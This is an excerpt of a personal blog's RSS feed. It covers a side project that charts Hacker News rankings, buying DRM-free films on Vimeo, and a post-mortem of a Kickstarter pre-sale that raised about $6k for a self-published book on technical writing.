&lt;p>My DIY hot-reload flow is significantly slower than the near-instant performance I&amp;rsquo;m used to with Hugo, but it&amp;rsquo;s 5x easier than doing it manually.&lt;/p>
&lt;h2 id="side-project-hacker-news-observer">Side project: Hacker News Observer&lt;/h2>
&lt;p>One of my special Hacker News superpowers is that I usually know why a post disappeared from the front page. But really, anyone can do this if they know about &lt;a href="https://hnrankings.info/">HN Rankings&lt;/a>, a site that charts historical Hacker News data. You just have to recognize a few patterns.&lt;/p>
&lt;p>The main thing you can see in HN Rankings is when a post&amp;rsquo;s rank suddenly increases or decreases dramatically. If a post is slowly increasing to the #3 spot, and then the next tick in the chart, it&amp;rsquo;s suddenly at the #45 spot, that means a moderator probably downranked the story.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/downranked.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/downranked_hu_f2cd02177647c649.webp 300w, https://mtlynch.io/retrospectives/2025/05/downranked_hu_65d2cef8588c1140.webp 600w, https://mtlynch.io/retrospectives/2025/05/downranked_hu_ac90b47d38a2622d.webp 800w, https://mtlynch.io/retrospectives/2025/05/downranked_hu_8ff0a278355d159d.webp 1200w, https://mtlynch.io/retrospectives/2025/05/downranked.webp 1340w'
 src="https://mtlynch.io/retrospectives/2025/05/downranked.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When a Hacker News post suddenly drops in rank, a moderator probably downranked it manually.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Charts can also reveal when moderators manually boost a story. If you see a post drowning in the #300 spot, and then suddenly it&amp;rsquo;s ranked #10, it means that a moderator boosted the story, possibly due to the &lt;a href="https://news.ycombinator.com/item?id=26998308">second chance pool&lt;/a>, a system where moderators and volunteers hand-pick stories that missed the front page in regular voting.&lt;/p>
&lt;p>HN Rankings is great, but I&amp;rsquo;d like to see more data like upvote counts and comment counts alongside rankings, so I built my own version. I haven&amp;rsquo;t published it yet, but it polls the &lt;a href="https://github.com/HackerNews/API">Hacker News API&lt;/a> every minute to track metadata about all of the current Hacker News stories.&lt;/p>
&lt;p>I&amp;rsquo;ve always been curious about what patterns emerge if you aggregate votes and comments of all the stories on the front page of Hacker News over time:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1240px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/top30.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1240px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/top30_hu_4a647c0b6effbd11.webp 300w, https://mtlynch.io/retrospectives/2025/05/top30_hu_dd1c234a2a7d039d.webp 600w, https://mtlynch.io/retrospectives/2025/05/top30_hu_133888fd7da5f5a0.webp 800w, https://mtlynch.io/retrospectives/2025/05/top30_hu_ebffad63c5b4e7.webp 1200w, https://mtlynch.io/retrospectives/2025/05/top30.webp 1238w'
 src="https://mtlynch.io/retrospectives/2025/05/top30.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The thing that jumps out to me most is that around noon ET every day, the average age of posts drops significantly, so that&amp;rsquo;s when older posts drop off the front page and make room for newer posts.&lt;/p>
&lt;p>It&amp;rsquo;s been interesting to see more details on my submissions, like &lt;a href="https://news.ycombinator.com/item?id=43803343">the HN discussion&lt;/a> for &amp;ldquo;My $6k Advance as a Self-Published Author.&amp;rdquo; The chart reveals that the post never made it to the front page, but it continued receiving upvotes, which is surprising. I&amp;rsquo;m still not sure how that happened, as I didn&amp;rsquo;t link to the Hacker News discussion anywhere:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1272px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/6k-advance.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1272px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/6k-advance_hu_1b9c438eca35546b.webp 300w, https://mtlynch.io/retrospectives/2025/05/6k-advance_hu_a02c904e79171d9f.webp 600w, https://mtlynch.io/retrospectives/2025/05/6k-advance_hu_5bcffc3ed44f0ac.webp 800w, https://mtlynch.io/retrospectives/2025/05/6k-advance_hu_e4a3cbcee15e24f6.webp 1200w, https://mtlynch.io/retrospectives/2025/05/6k-advance.webp 1270w'
 src="https://mtlynch.io/retrospectives/2025/05/6k-advance.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Here are some features I&amp;rsquo;d still like to add:&lt;/p>
&lt;ul>
&lt;li>Automatically determine whether it&amp;rsquo;s a slow news day or a crowded front page on Hacker News.&lt;/li>
&lt;li>Automatically tag stories that the moderators have boosted or suppressed.&lt;/li>
&lt;li>Predict a story&amp;rsquo;s trajectory based on how voting and commenting begins.&lt;/li>
&lt;/ul>
&lt;p>This is the closest thing I&amp;rsquo;ve had to a &amp;ldquo;big data&amp;rdquo; project in a long time, as most of my sites generate about 1 MB per month of data, whereas HN Observer generates 30-40 MB per day. I can dial that up or down depending on how much data I collect and how frequently I update it.&lt;/p>
&lt;p>HN&amp;rsquo;s data storage feels like a good opportunity to try out &lt;a href="https://turso.tech">Turso&lt;/a>. I&amp;rsquo;ve been watching it distantly, and it seems like a database as a service that preserves most of the benefits of using SQLite.&lt;/p>
&lt;h2 id="buying-drm-free-movies">Buying DRM-free movies&lt;/h2>
&lt;p>I was complaining to a friend recently that nobody offers DRM-free movies or TV shows for legal purchase. I know big studios and streaming platforms have no interest in giving up DRM, but it seems easy for small studios or indie filmmakers to put up a checkout page where customers can buy a 4K DRM-free mp4 of their movie for $10.&lt;/p>
&lt;p>I searched around and found that there &lt;em>kind of&lt;/em> is something like this. &lt;a href="https://vimeo.com/ondemand/">Vimeo on Demand&lt;/a> offers DRM-free movies. They&amp;rsquo;re mostly indie and non-English films, but it&amp;rsquo;s the biggest selection I&amp;rsquo;ve ever seen of DRM-free films to purchase legally.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand_hu_83b7f593c16e9fa4.webp 300w, https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand_hu_f7f0a1ea87b89ef2.webp 600w, https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand_hu_e4dd793f746c90f9.webp 800w, https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand_hu_bff3d865ee261f4c.webp 1200w, https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand.webp 1224w'
 src="https://mtlynch.io/retrospectives/2025/05/vimeo-on-demand.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://vimeo.com/ondemand/">Vimeo on Demand&lt;/a> is the largest collection I&amp;rsquo;ve found of legal DRM-free movies to purchase.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried out Vimeo on Demand, and the experience was only so-so. But they&amp;rsquo;re the only ones selling DRM-free films, so I&amp;rsquo;ll recommend them with caveats.&lt;/p>
&lt;p>Make sure the title you&amp;rsquo;re buying offers downloads, as not all titles do. If the button says &amp;ldquo;Stream anytime,&amp;rdquo; that&amp;rsquo;s not DRM-free:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 331px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/stream-anytime.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 331px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/stream-anytime_hu_771568119427d210.webp 300w, https://mtlynch.io/retrospectives/2025/05/stream-anytime.webp 329w'
 src="https://mtlynch.io/retrospectives/2025/05/stream-anytime.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 454px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/05/download-option.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 454px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/05/download-option_hu_f0c8b31fc0a66694.webp 300w, https://mtlynch.io/retrospectives/2025/05/download-option.webp 452w'
 src="https://mtlynch.io/retrospectives/2025/05/download-option.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Look for the download option, which indicates actual DRM-free options. Avoid &amp;lsquo;Stream anytime&amp;rsquo; purchases, as they&amp;rsquo;re not DRM-free or downloadable.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The experience of making this mistake and canceling the purchase also made me reluctant to recommend Vimeo. They don&amp;rsquo;t give any obvious option to talk to a human. Instead, I had to talk to a chatbot who told me that &amp;ldquo;for security reasons&amp;rdquo; they can&amp;rsquo;t refund video on demand purchases (despite the fact that they can see that I haven&amp;rsquo;t viewed the purchase). The only option was to contact the film&amp;rsquo;s distributor to request a refund, so I did that. But if I don&amp;rsquo;t hear back in a week, I&amp;rsquo;m just going to do a credit card chargeback.&lt;/p>
&lt;p>Vimeo&amp;rsquo;s terms of service require binding arbitration, so if Vimeo does something illegal, you can&amp;rsquo;t sue them in court or participate in class action lawsuits. It&amp;rsquo;s absurd that clauses like this are legal in the US, as &lt;a href="https://arbitrationinformation.org/">arbitrators heavily favor&lt;/a> corporations over consumers. You can &lt;a href="https://vimeo.com/terms#30_day_right_to_opt_out">opt-out of the binding arbitration&lt;/a>, which I did.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Taught a live session for &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Reached out individually to every Kickstarter backer who purchased a premium reward.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I should set time limits per chapter of my book to avoid working on it forever. Time goals also will give me a better sense of my total progress on the book.&lt;/li>
&lt;li>It&amp;rsquo;s easy to set up your own makeshift live reload flow with Asciidoctor.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish two chapters of my book to pre-order readers.&lt;/li>
&lt;li>Assign soft writing time limits to every chapter of my book.&lt;/li>
&lt;li>Adapt &lt;a href="https://refactoringenglish.com/chapters/">preview chapters&lt;/a> of my book to Asciidoc.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My $6k Advance as a Self-Published Technical Author</title><link>https://mtlynch.io/my-6k-advance/</link><pubDate>Fri, 25 Apr 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/my-6k-advance/</guid><description>&lt;p>I just received $5,947 in advance sales for my first technical book, even though it&amp;rsquo;s only 25% complete, and I&amp;rsquo;m self-publishing it. The book is called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>, and it&amp;rsquo;s a guide for software developers to improve their writing.&lt;/p>
&lt;p>In March, I ran a three-week pre-sale for the book &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english">on Kickstarter&lt;/a>. The pre-sale raised $6,551 from 191 customers. After Kickstarter&amp;rsquo;s fees, I get $5,946.92, or 91% of the total.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/my-6k-advance/kickstarter-payout.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_b023b7e62e408a48.webp 300w, https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_200f30ce23907bc.webp 600w, https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_a1a186e111f4d030.webp 800w, https://mtlynch.io/my-6k-advance/kickstarter-payout.webp 941w'
 src="https://mtlynch.io/my-6k-advance/kickstarter-payout.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Proceeds from my pre-sale on Kickstarter&lt;/p></description><content:encoded>&lt;p>I just received $5,947 in advance sales for my first technical book, even though it&amp;rsquo;s only 25% complete, and I&amp;rsquo;m self-publishing it. The book is called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>, and it&amp;rsquo;s a guide for software developers to improve their writing.&lt;/p>
&lt;p>In March, I ran a three-week pre-sale for the book &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english">on Kickstarter&lt;/a>. The pre-sale raised $6,551 from 191 customers. After Kickstarter&amp;rsquo;s fees, I get $5,946.92, or 91% of the total.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/my-6k-advance/kickstarter-payout.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_b023b7e62e408a48.webp 300w, https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_200f30ce23907bc.webp 600w, https://mtlynch.io/my-6k-advance/kickstarter-payout_hu_a1a186e111f4d030.webp 800w, https://mtlynch.io/my-6k-advance/kickstarter-payout.webp 941w'
 src="https://mtlynch.io/my-6k-advance/kickstarter-payout.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Proceeds from my pre-sale on Kickstarter&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I haven’t seen many authors crowdfund their books ahead of time, so I thought I&amp;rsquo;d write about why I did this, which parts of the process worked well, and which parts turned out to be a waste of time:&lt;/p>
&lt;h2 id="benefits-of-crowdfunding-a-self-published-book">Benefits of crowdfunding a self-published book&lt;/h2>
&lt;ul>
&lt;li>$6k is a higher advance than most traditional publishers offer to first-time authors.&lt;/li>
&lt;li>The money has looser obligations than a traditional publisher.
&lt;ul>
&lt;li>I have to make a good-faith effort to complete the book, but I don&amp;rsquo;t owe the money back if the book runs late or if I fail to complete it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The pre-sale gives me confidence that when I complete the book, I can find readers willing to purchase it.&lt;/li>
&lt;li>I didn&amp;rsquo;t have to beg a publisher for permission to write my book.&lt;/li>
&lt;li>I don&amp;rsquo;t have to split sales with a publisher when I complete the book.
&lt;ul>
&lt;li>My only cost will be payment processor fees, so I&amp;rsquo;ll receive 97% of the sale price.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I still have the option to publish the same book with a traditional publisher in the future.&lt;/li>
&lt;/ul>
&lt;h2 id="my-unfair-advantages">My unfair advantages&lt;/h2>
&lt;p>One of my pet peeves is seeing social media posts like this:&lt;/p>
&lt;blockquote>
&lt;p>Wow, I just put up a pre-order form for my USB-powered toilet paper. Within two hours, I&amp;rsquo;d made $100k! Business is so easy!&lt;/p>&lt;/blockquote>
&lt;p>And then I check their profile and see that they have 40 million followers and a long track record of successful products.&lt;/p>
&lt;p>So, I want to be upfront that I had advantages in my pre-sale:&lt;/p>
&lt;ul>
&lt;li>My personal blog receives 300-500k unique readers per year.&lt;/li>
&lt;li>I&amp;rsquo;m atypically successful at writing articles that reach the front page &lt;a href="https://refactoringenglish.com/tools/hn-popularity/domain/?d=mtlynch.io">of Hacker News&lt;/a> and &lt;a href="https://www.reddit.com/search?q=url%3Amtlynch.io&amp;amp;sort=relevance&amp;amp;t=all">reddit&lt;/a>.
&lt;ul>
&lt;li>During my pre-sale, an excerpt from my book reached &lt;a href="https://news.ycombinator.com/item?id=43503872">the #10 spot for the day on Hacker News&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I have 2.1k subscribers on my blog&amp;rsquo;s mailing list and 1.5k subscribers on the book&amp;rsquo;s mailing list.
&lt;ul>
&lt;li>There&amp;rsquo;s surprisingly little overlap between the two, so it&amp;rsquo;s about 3.5k unique subscribers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I have 9.2k followers on &lt;a href="https://twitter.com/deliberatecoder">Twitter&lt;/a> and 600 followers on &lt;a href="https://bsky.app/profile/mtlynch.io">Bluesky&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="how-does-crowdfunding-compare-to-an-advance-from-a-traditional-publisher">How does crowdfunding compare to an advance from a traditional publisher?&lt;/h2>
&lt;p>Most publishers don&amp;rsquo;t disclose the deals they offer to first-time authors, so it&amp;rsquo;s difficult to compare my results directly with most publishers.&lt;/p>
&lt;p>&lt;a href="https://nostarch.com/">No Starch Press&lt;/a> is the most transparent publisher in terms of &lt;a href="https://nostarch.com/writeforus">author pay&lt;/a>. They offer first-time authors three possible payment structures:&lt;/p>
&lt;ul>
&lt;li>no advance, 15% royalties on print sales, 25% royalties on ebook sales&lt;/li>
&lt;li>$5k advance, 12% royalties on print sales, 25% royalties on ebook sales&lt;/li>
&lt;li>$8k advance, 10% royalties on print sales, 25% royalties on ebook sales&lt;/li>
&lt;/ul>
&lt;p>Manning doesn&amp;rsquo;t publish their rates, but Teiva Harsanyi &lt;a href="https://read.thecoder.cafe/p/100-go-mistakes">recently shared&lt;/a> his experience publishing with Manning as a first-time author. They paid him $2k upfront, $2k after delivering the first 1/3rd, and then 10% of sales. This earned him $47k over four years (11,452 copies sold).&lt;/p>
&lt;p>By self-publishing, I get a better deal on my advance, I can continue selling pre-orders as I write the book, and I still have the option to publish a future edition with a traditional publisher.&lt;/p>
&lt;h2 id="worst-case-200-people-want-to-read-my-book">Worst case: 200 people want to read my book&lt;/h2>
&lt;p>Writing a book is a risky venture — I expect it to take me 6-12 months. I&amp;rsquo;d be devastated to spend all that time writing only to discover that nobody wanted to read my book in the first place.&lt;/p>
&lt;p>A pre-sale guarantees that some people are interested enough in my book to pay for it.&lt;/p>
&lt;p>With Kickstarter, you set a goal amount for the pre-sale. If you don&amp;rsquo;t hit the goal, none of your customers pay, and you walk away with nothing.&lt;/p>
&lt;p>Kickstarter&amp;rsquo;s all-or-nothing structure sounds brutal, but it was ideal for me. It protects me from an awkward &amp;ldquo;half-success&amp;rdquo; where pre-orders fall short of my expectations, and then I&amp;rsquo;m stuck either writing a book for a tiny readership or awkwardly refunding a bunch of pre-orders and ending up in the negative after payment processing fees.&lt;/p>
&lt;p>I chose $5k as my pre-sale goal because it&amp;rsquo;s the lowest figure that would feel okay as my total earnings for the book. I&amp;rsquo;d, of course, enjoy selling more copies of my book later, but I&amp;rsquo;d still feel good about making $5k from a self-published book. My more realistic expectation was that if I could sell $5k in pre-orders when the book was only 25% complete, I could likely sell another $10-15k worth of copies when I finish the book.&lt;/p>
&lt;p>I priced the pre-orders at $25 per copy, so I figured that if 150 people bought, it would get me to $3,750, and then I&amp;rsquo;d make up the rest in the premium Kickstarter rewards like a public thank you or personalized writing feedback. The &amp;ldquo;worst case&amp;rdquo; would be if I reached my goal with everyone paying $25, but that still means 200 people want to read my book, which is pretty good.&lt;/p>
&lt;h2 id="a-pre-sale-connects-me-with-my-most-enthusiastic-readers">A pre-sale connects me with my most enthusiastic readers&lt;/h2>
&lt;p>One unexpected benefit of the pre-sale was that it connected me with the readers who are most excited about my book. These are exactly the readers I want to hear early feedback from.&lt;/p>
&lt;p>Before the pre-sale, I published sample chapters, and people signed up for my mailing list, but I didn&amp;rsquo;t know how to initiate useful conversations with them. When I&amp;rsquo;d email subscribers new chapters, I&amp;rsquo;d invite them to give me feedback on the material, but barely anyone did.&lt;/p>
&lt;p>Once the pre-sale ended, I realized that I suddenly knew 200 people who felt engaged and invested in the book&amp;rsquo;s future.&lt;/p>
&lt;p>Last week, I invited everyone who pre-ordered to attend a live video class where I taught the material from the book&amp;rsquo;s next chapter. Six people attended the class, and their feedback was incredibly helpful. The attendees seemed excited to ask questions and help shape the book, so it felt like a win-win for everyone.&lt;/p>
&lt;h2 id="how-did-i-find-customers">How did I find customers?&lt;/h2>
&lt;p>According to Kickstarter, here&amp;rsquo;s how pre-sales for my book broke down:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Source&lt;/th>
 &lt;th>% of sales&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com">Book website&lt;/a>&lt;/td>
 &lt;td>42%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Kickstarter&lt;/td>
 &lt;td>12%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io">Personal blog&lt;/a>&lt;/td>
 &lt;td>11%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Twitter&lt;/td>
 &lt;td>4%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Other / Unknown&lt;/td>
 &lt;td>31%*&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* I suspect that my mailing lists made up a large chunk of that &amp;ldquo;Unknown&amp;rdquo; category, but I forgot to use links in my newsletter that &lt;a href="#kept-better-track-of-how-customers-found-me">would have recorded the source of those purchases&lt;/a>.&lt;/p>
&lt;h3 id="publishing-book-excerpts">Publishing book excerpts&lt;/h3>
&lt;p>Sharing book excerpts on my mailing lists and social media turned out to be the most effective strategy for selling pre-orders.&lt;/p>
&lt;p>I published the &lt;a href="https://refactoringenglish.com/chapters/">excerpts&lt;/a> on the book&amp;rsquo;s website for free, and I included a self-ad at the end of each post to lead readers to the full book:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 325px">



 &lt;a href="https://mtlynch.io/my-6k-advance/self-ad.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 325px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/self-ad_hu_7579b3a6d16afd77.webp 300w, https://mtlynch.io/my-6k-advance/self-ad_hu_f8cc2a68f55f0503.webp 600w, https://mtlynch.io/my-6k-advance/self-ad.webp 700w'
 src="https://mtlynch.io/my-6k-advance/self-ad.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Self-ads for the book that appeared at the bottom of my sample chapters online&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>During the pre-sale, I published two new excerpts from the book. I published &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">the first&lt;/a> at the start of the pre-sale to kick things off and &lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">the second&lt;/a> five days before the pre-sale ended.&lt;/p>
&lt;p>It&amp;rsquo;s tough to say how much the first excerpt impacted sales, as I released it at the same time I announced the pre-sale to my mailing list.&lt;/p>
&lt;p>The second excerpt definitely made a difference. It gained traction &lt;a href="https://news.ycombinator.com/item?id=43503872">on Hacker News&lt;/a> and &lt;a href="https://lobste.rs/s/youq7y/how_write_blog_posts_developers_read">Lobsters&lt;/a>, and readers from those sites doubled pre-orders for my book in a matter of days. Without that second excerpt, the pre-sale would have failed, and I&amp;rsquo;d have walked away with nothing.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 593px">



 &lt;a href="https://mtlynch.io/my-6k-advance/publish-excerpts.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 593px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/publish-excerpts_hu_133aca8d52a0b071.webp 300w, https://mtlynch.io/my-6k-advance/publish-excerpts.webp 591w'
 src="https://mtlynch.io/my-6k-advance/publish-excerpts.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The effects of sharing excerpts on sales&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="advertising-the-book-on-my-personal-blog">Advertising the book on my personal blog&lt;/h3>
&lt;p>Similar to the self-ad on my book&amp;rsquo;s website, I added a little box at the bottom of all my blog posts to say that I want to write a book and that readers can support it with a pre-order.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/my-6k-advance/blog-self-ad.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/blog-self-ad_hu_50e1e434500ba50b.webp 300w, https://mtlynch.io/my-6k-advance/blog-self-ad_hu_b17bfa0ff4f2b6d.webp 600w, https://mtlynch.io/my-6k-advance/blog-self-ad_hu_1866318a8ce3d1cc.webp 800w, https://mtlynch.io/my-6k-advance/blog-self-ad.webp 929w'
 src="https://mtlynch.io/my-6k-advance/blog-self-ad.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added a self-ad for the book at the bottom of every post on my personal blog.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I wrote &lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/">one new blog post&lt;/a> during the pre-sale, which seemed to bring a small bump in sales. I also have a deep archive of posts that attract 6-7k readers per week even when I&amp;rsquo;m not publishing anything new. I suspect some readers purchased based on stumbling across my old posts.&lt;/p>
&lt;h3 id="sharing-progress-updates-on-twitter">Sharing progress updates on Twitter&lt;/h3>
&lt;p>According to Kickstarter&amp;rsquo;s metrics, 4% of orders came from Twitter. I didn&amp;rsquo;t invest a ton there — I just &lt;a href="https://twitter.com/deliberatecoder/status/1899106915126239720">created a thread announcing the pre-sale&lt;/a> and posted occasional updates on progress toward my goal amount.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/my-6k-advance/twitter-post.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/twitter-post_hu_7c9b4ab492085d8f.webp 300w, https://mtlynch.io/my-6k-advance/twitter-post_hu_aa858e13ea01a30a.webp 600w, https://mtlynch.io/my-6k-advance/twitter-post.webp 698w'
 src="https://mtlynch.io/my-6k-advance/twitter-post.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sharing progress updates Twitter accounted for about 4% of sales&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried the same thing on &lt;a href="https://bsky.app/profile/mtlynch.io/post/3ljzrjoqg3k2b">Bluesky&lt;/a> and &lt;a href="https://m.mtlynch.io/@michael/114138636617854162">Mastodon&lt;/a>, as I prefer those platforms, but my posts there got almost zero response.&lt;/p>
&lt;h2 id="which-attempts-at-finding-customers-failed">Which attempts at finding customers failed?&lt;/h2>
&lt;h3 id="soliciting-sponsorships-from-companies">Soliciting sponsorships from companies&lt;/h3>
&lt;p>Increasingly, open-source projects are raising money by displaying company logos on their website in exchange for a monthly donation. I thought, &amp;ldquo;Why not do the same thing with an ebook?&amp;rdquo;&lt;/p>
&lt;p>But company sponsorships didn&amp;rsquo;t work for me. I reached out to ten companies, and none of the discussions went anywhere:&lt;/p>
&lt;ul>
&lt;li>One company offered $1k to buy a page in the book&amp;rsquo;s acknowledgments section and a banner ad on the website.
&lt;ul>
&lt;li>I asked whether they&amp;rsquo;d be open to something time-limited, as I didn&amp;rsquo;t want a &amp;ldquo;forever&amp;rdquo; obligation, and they stopped responding.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>One company was interested but then stopped responding when they realized I wanted them to purchase the sponsorship through Kickstarter.&lt;/li>
&lt;li>One company gave a quick, polite no.&lt;/li>
&lt;li>One company responded several weeks after the pre-sale to say no.&lt;/li>
&lt;li>Six companies (the rest) never responded.&lt;/li>
&lt;/ul>
&lt;p>Part of the problem was that I waited until the last ten days of the pre-sale to reach out. At that point, it looked like my project was a flop.&lt;/p>
&lt;p>I kept thinking I&amp;rsquo;d have a hit post during the pre-sale so that I could wow potential sponsors with flashy metrics about how many of my readers would see their logo, but I didn&amp;rsquo;t have that until the end.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/my-6k-advance/sponsor-email.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/sponsor-email_hu_7f0ded66dd302b7b.webp 300w, https://mtlynch.io/my-6k-advance/sponsor-email_hu_5163c787046ce6b4.webp 600w, https://mtlynch.io/my-6k-advance/sponsor-email_hu_35d0f5f3b46496.webp 800w, https://mtlynch.io/my-6k-advance/sponsor-email.webp 837w'
 src="https://mtlynch.io/my-6k-advance/sponsor-email.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>An example email I sent soliciting sponsorship from a company&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Even when the one company offered to sponsor for $1k, I was hesitant to let a single company carry so much of the pre-sale. I expect the number of pre-orders to correlate with how many customers purchase the completed book. If I can&amp;rsquo;t reach my pre-sale goal without one whale of a sponsor, that would have been a bad sign for long-term sales.&lt;/p>
&lt;p>I had better luck just announcing that I was open to sponsorships and letting companies reach out to me. Scott, the owner &lt;a href="https://mtlynch.io/i-sold-tinypilot/">who acquired my last company&lt;/a> reached out and purchased &lt;a href="https://refactoringenglish.com/#professional-sponsors">a sponsorship&lt;/a> when he heard about the book, and I&amp;rsquo;m in discussions with another reader who participated in the pre-sale.&lt;/p>
&lt;h3 id="creating-a-web-app-to-pander-to-hacker-news">Creating a web app to pander to Hacker News&lt;/h3>
&lt;p>I&amp;rsquo;ve often wondered who the most popular bloggers are on Hacker News, so, last summer, I wrote a quick and dirty tool to figure out the answer.&lt;/p>
